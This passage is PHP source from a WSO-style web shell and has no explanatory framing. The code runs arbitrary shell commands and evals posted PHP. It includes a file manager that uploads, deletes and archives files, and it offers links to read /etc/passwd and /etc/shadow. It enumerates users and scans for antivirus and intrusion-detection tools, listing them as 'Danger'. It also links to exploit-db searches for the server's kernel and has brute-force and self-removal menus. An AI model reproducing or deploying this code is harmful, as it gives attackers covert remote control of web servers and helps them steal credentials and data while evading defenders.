1543 if (window.XMLHttpRequest)
1544 req = new XMLHttpRequest();
1545 else if (window.ActiveXObject)
1546 req = new ActiveXObject('Microsoft.XMLHTTP');
1547 if (req) {
1548 req.onreadystatechange = processReqChange;
1549 req.open('POST', url, true);
1550 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
1551 req.send(params);
1552 }
1553 }
1554 function processReqChange() {
1555 if( (req.readyState == 4) )
1556 if(req.status == 200) {
1557 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
1558 var arr=reg.exec(req.responseText);
1559 eval(arr[2].substr(0, arr[1]));
1560 } else alert('Request error!');
1561 }
1562</script>
1563<head><body><div style='position:absolute;width:100%;background-color:#000;top:0;left:0;'>
1564<form method=post name=mf style='display:none;'>
1565<input type=hidden name=a>
1566<input type=hidden name=c>
1567<input type=hidden name=p1>
1568<input type=hidden name=p2>
1569<input type=hidden name=p3>
1570<input type=hidden name=charset>
1571</form>";
1572 $freeSpace = @diskfreespace($GLOBALS['cwd']);
1573 $totalSpace = @disk_total_space($GLOBALS['cwd']);
1574 $totalSpace = $totalSpace?$totalSpace:1;
1575 $release = @php_uname('r');
1576 $kernel = @php_uname('s');
1577 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
1578 if(strpos('Linux', $kernel) !== false)
1579 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
1580 else
1581 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
1582 if(!function_exists('posix_getegid')) {
1583 $user = @get_current_user();
1584 $uid = @getmyuid();
1585 $gid = @getmygid();
1586 $group = "?";
1587 } else {
1588 $uid = @posix_getpwuid(posix_geteuid());
1589 $gid = @posix_getgrgid(posix_getegid());
1590 $user = $uid['name'];
1591 $uid = $uid['uid'];
1592 $group = $gid['name'];
1593 $gid = $gid['gid'];
1594 }
1595
1596 $cwd_links = '';
1597 $path = explode("/", $GLOBALS['cwd']);
1598 $n=count($path);
1599 for($i=0; $i<$n-1; $i++) {
1600 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
1601 for($j=0; $j<=$i; $j++)
1602 $cwd_links .= $path[$j].'/';
1603 $cwd_links .= "\")'>".$path[$i]."/</a>";
1604 }
1605
1606 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
1607 $opt_charsets = '';
1608 foreach($charsets as $item)
1609 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
1610
1611 $m = array('Sec. Info'=>'SecInfo','Files'=>'FilesMan','Console'=>'Console','Sql'=>'Sql','Php'=>'Php','String tools'=>'StringTools','Bruteforce'=>'Bruteforce','Network'=>'Network');
1612 if(!empty($GLOBALS['auth_pass']))
1613 $m['Logout'] = 'Logout';
1614 $m['Self remove'] = 'SelfRemove';
1615 $menu = '';
1616 foreach($m as $k => $v)
1617 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
1618
1619 $drives = "";
1620 if($GLOBALS['os'] == 'win') {
1621 foreach(range('c','z') as $drive)
1622 if(is_dir($drive.':\\'))
1623 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
1624 }
1625 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
1626 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
1627 . ' <a href=# onclick="g(\'Php\',null,\'\',\'info\')">[ phpinfo ]</a> <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
1628 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . $_SERVER['REMOTE_ADDR'] . '</nobr></td></tr></table>'
1629 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
1630}
1631
1632function wsoFooter() {
1633 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
1634 echo "
1635</div>
1636<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
1637 <tr>
1638 <td><form onsubmit='g(null,this.c.value,\"\");return false;'><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
1639 <td><form onsubmit=\"g('FilesTools',null,this.f.value);return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
1640 </tr><tr>
1641 <td><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
1642 <td><form onsubmit=\"g('FilesTools',null,this.f.value,'mkfile');return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
1643 </tr><tr>
1644 <td><form onsubmit=\"g('Console',null,this.c.value);return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
1645 <td><form method='post' ENCTYPE='multipart/form-data'>
1646 <input type=hidden name=a value='FilesMAn'>
1647 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
1648 <input type=hidden name=p1 value='uploadFile'>
1649 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
1650 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
1651 </tr></table></div></body></html>";
1652}
1653
1654if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
1655 function posix_getpwuid($p) {return false;} }
1656if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
1657 function posix_getgrgid($p) {return false;} }
1658
1659function wsoEx($in) {
1660 $out = '';
1661 if (function_exists('exec')) {
1662 @exec($in,$out);
1663 $out = @join("\n",$out);
1664 } elseif (function_exists('passthru')) {
1665 ob_start();
1666 @passthru($in);
1667 $out = ob_get_clean();
1668 } elseif (function_exists('system')) {
1669 ob_start();
1670 @system($in);
1671 $out = ob_get_clean();
1672 } elseif (function_exists('shell_exec')) {
1673 $out = shell_exec($in);
1674 } elseif (is_resource($f = @popen($in,"r"))) {
1675 $out = "";
1676 while(!@feof($f))
1677 $out .= fread($f,1024);
1678 pclose($f);
1679 }
1680 return $out;
1681}
1682
1683function wsoViewSize($s) {
1684 if (is_int($s))
1685 $s = sprintf("%u", $s);
1686
1687 if($s >= 1073741824)
1688 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
1689 elseif($s >= 1048576)
1690 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
1691 elseif($s >= 1024)
1692 return sprintf('%1.2f', $s / 1024 ) . ' KB';
1693 else
1694 return $s . ' B';
1695}
1696
1697function wsoPerms($p) {
1698 if (($p & 0xC000) == 0xC000)$i = 's';
1699 elseif (($p & 0xA000) == 0xA000)$i = 'l';
1700 elseif (($p & 0x8000) == 0x8000)$i = '-';
1701 elseif (($p & 0x6000) == 0x6000)$i = 'b';
1702 elseif (($p & 0x4000) == 0x4000)$i = 'd';
1703 elseif (($p & 0x2000) == 0x2000)$i = 'c';
1704 elseif (($p & 0x1000) == 0x1000)$i = 'p';
1705 else $i = 'u';
1706 $i .= (($p & 0x0100) ? 'r' : '-');
1707 $i .= (($p & 0x0080) ? 'w' : '-');
1708 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
1709 $i .= (($p & 0x0020) ? 'r' : '-');
1710 $i .= (($p & 0x0010) ? 'w' : '-');
1711 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
1712 $i .= (($p & 0x0004) ? 'r' : '-');
1713 $i .= (($p & 0x0002) ? 'w' : '-');
1714 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
1715 return $i;
1716}
1717
1718function wsoPermsColor($f) {
1719 if (!@is_readable($f))
1720 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
1721 elseif (!@is_writable($f))
1722 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
1723 else
1724 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
1725}
1726
1727function wsoScandir($dir) {
1728 if(function_exists("scandir")) {
1729 return scandir($dir);
1730 } else {
1731 $dh = opendir($dir);
1732 while (false !== ($filename = readdir($dh)))
1733 $files[] = $filename;
1734 return $files;
1735 }
1736}
1737
1738function wsoWhich($p) {
1739 $path = wsoEx('which ' . $p);
1740 if(!empty($path))
1741 return $path;
1742 return false;
1743}
1744
1745function actionSecInfo() {
1746 wsoHeader();
1747 echo '<h1>Server security information</h1><div class=content>';
1748 function wsoSecParam($n, $v) {
1749 $v = trim($v);
1750 if($v) {
1751 echo '<span>' . $n . ': </span>';
1752 if(strpos($v, "\n") === false)
1753 echo $v . '<br>';
1754 else
1755 echo '<pre class=ml1>' . $v . '</pre>';
1756 }
1757 }
1758
1759 wsoSecParam('Server software', @getenv('SERVER_SOFTWARE'));
1760 if(function_exists('apache_get_modules'))
1761 wsoSecParam('Loaded Apache modules', implode(', ', apache_get_modules()));
1762 wsoSecParam('Disabled PHP Functions', $GLOBALS['disable_functions']?$GLOBALS['disable_functions']:'none');
1763 wsoSecParam('Open base dir', @ini_get('open_basedir'));
1764 wsoSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
1765 wsoSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
1766 wsoSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
1767 $temp=array();
1768 if(function_exists('mysql_get_client_info'))
1769 $temp[] = "MySql (".mysql_get_client_info().")";
1770 if(function_exists('mssql_connect'))
1771 $temp[] = "MSSQL";
1772 if(function_exists('pg_connect'))
1773 $temp[] = "PostgreSQL";
1774 if(function_exists('oci_connect'))
1775 $temp[] = "Oracle";
1776 wsoSecParam('Supported databases', implode(', ', $temp));
1777 echo '<br>';
1778
1779 if($GLOBALS['os'] == 'nix') {
1780 wsoSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
1781 wsoSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"shadow\")'>[view]</a>":'no');
1782 wsoSecParam('OS version', @file_get_contents('/proc/version'));
1783 wsoSecParam('Distr name', @file_get_contents('/etc/issue.net'));
1784 if(!$GLOBALS['safe_mode']) {
1785 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
1786 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
1787 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
1788 echo '<br>';
1789 $temp=array();
1790 foreach ($userful as $item)
1791 if(wsoWhich($item))
1792 $temp[] = $item;
1793 wsoSecParam('Userful', implode(', ',$temp));
1794 $temp=array();
1795 foreach ($danger as $item)
1796 if(wsoWhich($item))
1797 $temp[] = $item;
1798 wsoSecParam('Danger', implode(', ',$temp));
1799 $temp=array();
1800 foreach ($downloaders as $item)
1801 if(wsoWhich($item))
1802 $temp[] = $item;
1803 wsoSecParam('Downloaders', implode(', ',$temp));
1804 echo '<br/>';
1805 wsoSecParam('HDD space', wsoEx('df -h'));
1806 wsoSecParam('Hosts', @file_get_contents('/etc/hosts'));
1807 echo '<br/><span>posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value=">>"></form>';
1808 if (isset ($_POST['p2'], $_POST['p3']) && is_numeric($_POST['p2']) && is_numeric($_POST['p3'])) {
1809 $temp = "";
1810 for(;$_POST['p2'] <= $_POST['p3'];$_POST['p2']++) {
1811 $uid = @posix_getpwuid($_POST['p2']);
1812 if ($uid)
1813 $temp .= join(':',$uid)."\n";
1814 }
1815 echo '<br/>';
1816 wsoSecParam('Users', $temp);
1817 }
1818 }
1819 } else {
1820 wsoSecParam('OS Version',wsoEx('ver'));
1821 wsoSecParam('Account Settings',wsoEx('net accounts'));
1822 wsoSecParam('User Accounts',wsoEx('net user'));
1823 }
1824 echo '</div>';
1825 wsoFooter();
1826}
1827
1828function actionPhp() {
1829 if(isset($_POST['ajax'])) {
1830 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', true);
1831 ob_start();
1832 eval($_POST['p1']);
1833 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='" . addcslashes(htmlspecialchars(ob_get_clean()), "\n\r\t\\'\0") . "';\n";
1834 echo strlen($temp), "\n", $temp;
1835 exit;
1836 }
1837 if(empty($_POST['ajax']) && !empty($_POST['p1']))
1838 WSOsetcookie(md5($_SERVER['HTTP_HOST']) . 'ajax', 0);
1839
1840 wsoHeader();
1841 if(isset($_POST['p2']) && ($_POST['p2'] == 'info')) {
1842 echo '<h1>PHP info</h1><div class=content><style>.p {color:#000;}</style>';
1843 ob_start();
1844 phpinfo();
1845 $tmp = ob_get_clean();
1846 $tmp = preg_replace(array (
1847 '!(body|a:\w+|body, td, th, h1, h2) {.*}!msiU',
1848 '!td, th {(.*)}!msiU',
1849 '!<img[^>]+>!msiU',
1850 ), array (
1851 '',
1852 '.e, .v, .h, .h th {$1}',
1853 ''
1854 ), $tmp);
1855 echo str_replace('<h1','<h2', $tmp) .'</div><br>';
1856 }
1857 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(\'Php\',null,this.code.value);}else{g(\'Php\',null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
1858 echo ' <input type=checkbox name=ajax value=1 '.($_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
1859 if(!empty($_POST['p1'])) {
1860 ob_start();
1861 eval($_POST['p1']);
1862 echo htmlspecialchars(ob_get_clean());
1863 }
1864 echo '</pre></div>';
1865 wsoFooter();
1866}
1867
1868function actionFilesMan() {
1869 if (!empty ($_COOKIE['f']))
1870 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
1871
1872 if(!empty($_POST['p1'])) {
1873 switch($_POST['p1']) {
1874 case 'uploadFile':
1875 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
1876 echo "Can't upload!";
1877 break;
1878 case 'mkdir':
1879 if(!@mkdir($_POST['p2']))
1880 echo "Can't create!";
1881 break;
1882 case 'delete':
1883 function deleteDir($path) {
1884 $path = (substr($path,-1)=='/') ? $path:$path.'/';
1885 $dh = opendir($path);
1886 while ( ($item = readdir($dh) ) !== false) {
1887 $item = $path.$item;
1888 if ( (basename($item) == "..") || (basename($item) == ".") )
1889 continue;
1890 $type = filetype($item);
1891 if ($type == "dir")
1892 deleteDir($item);
1893 else
1894 @unlink($item);
1895 }
1896 closedir($dh);
1897 @rmdir($path);
1898 }
1899 if(is_array(@$_POST['f']))
1900 foreach($_POST['f'] as $f) {
1901 if($f == '..')
1902 continue;
1903 $f = urldecode($f);
1904 if(is_dir($f))
1905 deleteDir($f);
1906 else
1907 @unlink($f);
1908 }
1909 break;
1910 case 'paste':
1911 if($_COOKIE['act'] == 'copy') {
1912 function copy_paste($c,$s,$d){
1913 if(is_dir($c.$s)){
1914 mkdir($d.$s);
1915 $h = @opendir($c.$s);
1916 while (($f = @readdir($h)) !== false)
1917 if (($f != ".") and ($f != ".."))
1918 copy_paste($c.$s.'/',$f, $d.$s.'/');
1919 } elseif(is_file($c.$s))
1920 @copy($c.$s, $d.$s);
1921 }
1922 foreach($_COOKIE['f'] as $f)
1923 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
1924 } elseif($_COOKIE['act'] == 'move') {
1925 function move_paste($c,$s,$d){
1926 if(is_dir($c.$s)){
1927 mkdir($d.$s);
1928 $h = @opendir($c.$s);
1929 while (($f = @readdir($h)) !== false)
1930 if (($f != ".") and ($f != ".."))
1931 copy_paste($c.$s.'/',$f, $d.$s.'/');
1932 } elseif(@is_file($c.$s))
1933 @copy($c.$s, $d.$s);
1934 }
1935 foreach($_COOKIE['f'] as $f)
1936 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
1937 } elseif($_COOKIE['act'] == 'zip') {
1938 if(class_exists('ZipArchive')) {
1939 $zip = new ZipArchive();
1940 if ($zip->open($_POST['p2'], 1)) {
1941 chdir($_COOKIE['c']);
1942 foreach($_COOKIE['f'] as $f) {
1943 if($f == '..') continue;
1944 if(@is_file($_COOKIE['c'].$f)) $zip->addFile($_COOKIE['c'].$f, $f);
1945 elseif(@is_dir($_COOKIE['c'].$f)) {
1946 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
1947 foreach ($iterator as $key=>$value) {
1948 $zip->addFile(realpath($key), $key);
1949 }
1950 }
1951 }
1952 chdir($GLOBALS['cwd']);
1953 $zip->close();
1954 }
1955 }
1956 } elseif($_COOKIE['act'] == 'unzip') {
1957 if(class_exists('ZipArchive')) {
1958 $zip = new ZipArchive();
1959 foreach($_COOKIE['f'] as $f) {
1960 if($zip->open($_COOKIE['c'].$f)) {
1961 $zip->extractTo($GLOBALS['cwd']);
1962 $zip->close();
1963 }
1964 }
1965 }
1966 } elseif($_COOKIE['act'] == 'tar') {
1967 chdir($_COOKIE['c']);
1968 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
1969 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
1970 chdir($GLOBALS['cwd']);
1971 }
1972 unset($_COOKIE['f']);
1973 setcookie('f', '', time() - 3600);
1974 break;
1975 default:
1976 if(!empty($_POST['p1'])) {
1977 WSOsetcookie('act', $_POST['p1']);
1978 WSOsetcookie('f', serialize(@$_POST['f']));
1979 WSOsetcookie('c', @$_POST['c']);
1980 }
1981 break;
1982 }
1983 }
1984 wsoHeader();
1985 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
1986 $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
1987 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
1988 global $sort;
1989 $sort = array('name', 1);
1990 if(!empty($_POST['p1'])) {
1991 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
1992 $sort = array($match[1], (int)$match[2]);
1993 }
1994echo "<script>
1995 function sa() {
1996 for(i=0;i<d.files.elements.length;i++)
1997 if(d.files.elements[i].type == 'checkbox')
1998 d.files.elements[i].checked = d.files.elements[0].checked;
1999 }
2000</script>
2001<table width='100%' class='main' cellspacing='0' cellpadding='2'>
2002<form name=files method=post><tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
2003 $dirs = $files = array();
2004 $n = count($dirContent);
2005 for($i=0;$i<$n;$i++) {
2006 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
2007 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
2008 $tmp = array('name' => $dirContent[$i],
2009 'path' => $GLOBALS['cwd'].$dirContent[$i],
2010 'modify' => date('Y-m-d H:i:s', @filemtime($GLOBALS['cwd'] . $dirContent[$i])),
2011 'perms' => wsoPermsColor($GLOBALS['cwd'] . $dirContent[$i]),
2012 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
2013 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
2014 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
2015 );
2016 if(@is_file($GLOBALS['cwd'] . $dirContent[$i]))
2017 $files[] = array_merge($tmp, array('type' => 'file'));
2018 elseif(@is_link($GLOBALS['cwd'] . $dirContent[$i]))
2019 $dirs[] = array_merge($tmp, array('type' => 'link', 'link' => readlink($tmp['path'])));
2020 elseif(@is_dir($GLOBALS['cwd'] . $dirContent[$i]))
2021 $dirs[] = array_merge($tmp, array('type' => 'dir'));
2022 }
2023 $GLOBALS['sort'] = $sort;
2024 function wsoCmp($a, $b) {
2025 if($GLOBALS['sort'][0] != 'size')
2026 return strcmp(strtolower($a[$GLOBALS['sort'][0]]), strtolower($b[$GLOBALS['sort'][0]]))*($GLOBALS['sort'][1]?1:-1);
2027 else
2028 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
2029 }
2030 usort($files, "wsoCmp");
2031 usort($dirs, "wsoCmp");
2032 $files = array_merge($dirs, $files);
2033 $l = 0;
2034 foreach($files as $f) {
2035 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');" ' . (empty ($f['link']) ? '' : "title='{$f['link']}'") . '><b>[ ' . htmlspecialchars($f['name']) . ' ]</b>').'</a></td><td>'.(($f['type']=='file')?wsoViewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
2036 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
2037 $l = $l?0:1;
2038 }
2039 echo "<tr><td colspan=7>
2040 <input type=hidden name=a value='FilesMan'>
2041 <input type=hidden name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'>
2042 <input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'')."'>
2043 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option>";
2044 if(class_exists('ZipArchive'))
2045 echo "<option value='zip'>Compress (zip)</option><option value='unzip'>Uncompress (zip)</option>";
2046 echo "<option value='tar'>Compress (tar.gz)</option>";
2047 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']))
2048 echo "<option value='paste'>Paste / Compress</option>";
2049 echo "</select> ";
2050 if(!empty($_COOKIE['act']) && @count($_COOKIE['f']) && (($_COOKIE['act'] == 'zip') || ($_COOKIE['act'] == 'tar')))
2051 echo "file name: <input type=text name=p2 value='wso_" . date("Ymd_His") . "." . ($_COOKIE['act'] == 'zip'?'zip':'tar.gz') . "'> ";
2052 echo "<input type='submit' value='>>'></td></tr></form></table></div>";
2053 wsoFooter();
2054}
2055
2056function actionStringTools() {
2057 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
2058 if(!function_exists('binhex')) {function binhex($p) {return dechex(bindec($p));}}
2059 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
2060 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= sprintf('%02X',ord($p[$i]));return strtoupper($r);}}
2061 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
2062 $stringTools = array(
2063 'Base64 encode' => 'base64_encode',
2064 'Base64 decode' => 'base64_decode',
2065 'Url encode' => 'urlencode',
2066 'Url decode' => 'urldecode',
2067 'Full urlencode' => 'full_urlencode',
2068 'md5 hash' => 'md5',
2069 'sha1 hash' => 'sha1',
2070 'crypt' => 'crypt',
2071 'CRC32' => 'crc32',
2072 'ASCII to HEX' => 'ascii2hex',
2073 'HEX to ASCII' => 'hex2ascii',
2074 'HEX to DEC' => 'hexdec',
2075 'HEX to BIN' => 'hex2bin',
2076 'DEC to HEX' => 'dechex',
2077 'DEC to BIN' => 'decbin',
2078 'BIN to HEX' => 'binhex',
2079 'BIN to DEC' => 'bindec',
2080 'String to lower case' => 'strtolower',
2081 'String to upper case' => 'strtoupper',
2082 'Htmlspecialchars' => 'htmlspecialchars',
2083 'String length' => 'strlen',
2084 );
2085 if(isset($_POST['ajax'])) {
2086 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
2087 ob_start();
2088 if(in_array($_POST['p1'], $stringTools))
2089 echo $_POST['p1']($_POST['p2']);
2090 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
2091 echo strlen($temp), "\n", $temp;
2092 exit;
2093 }
2094 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
2095 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
2096 wsoHeader();
2097 echo '<h1>String conversions</h1><div class=content>';
2098 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
2099 foreach($stringTools as $k => $v)
2100 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
2101 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2']))."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
2102 if(!empty($_POST['p1'])) {
2103 if(in_array($_POST['p1'], $stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));
2104 }
2105 echo"</pre></div><br><h1>Search files:</h1><div class=content>
2106 <form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
2107 <tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
2108 <tr><td>Path:</td><td><input type='text' name='cwd' value='". htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
2109 <tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
2110 <tr><td></td><td><input type='submit' value='>>'></td></tr>
2111 </table></form>";
2112
2113 function wsoRecursiveGlob($path) {
2114 if(substr($path, -1) != '/')
2115 $path.='/';
2116 $paths = @array_unique(@array_merge(@glob($path.$_POST['p3']), @glob($path.'*', GLOB_ONLYDIR)));
2117 if(is_array($paths)&&@count($paths)) {
2118 foreach($paths as $item) {
2119 if(@is_dir($item)){
2120 if($path!=$item)
2121 wsoRecursiveGlob($item);
2122 } else {
2123 if(empty($_POST['p2']) || @strpos(file_get_contents($item), $_POST['p2'])!==false)
2124 echo "<a href='#' onclick='g(\"FilesTools\",null,\"".urlencode($item)."\", \"view\",\"\")'>".htmlspecialchars($item)."</a><br>";
2125 }
2126 }
2127 }
2128 }
